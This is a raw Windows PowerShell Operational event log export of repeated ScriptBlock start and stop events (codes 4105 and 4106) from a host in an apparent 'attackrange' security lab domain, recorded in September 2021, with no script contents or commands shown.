LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052511
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052510
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052509
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052528
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052527
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052526
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052525
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052524
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052523
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052522
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052521
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052520
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052519
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052538
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052537
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052536
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052535
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052534
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052533
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052532
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052531
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052530
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052529
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052548
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052547
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052546
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052545
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052544
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052543
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052542
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052541
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052540
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052539
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa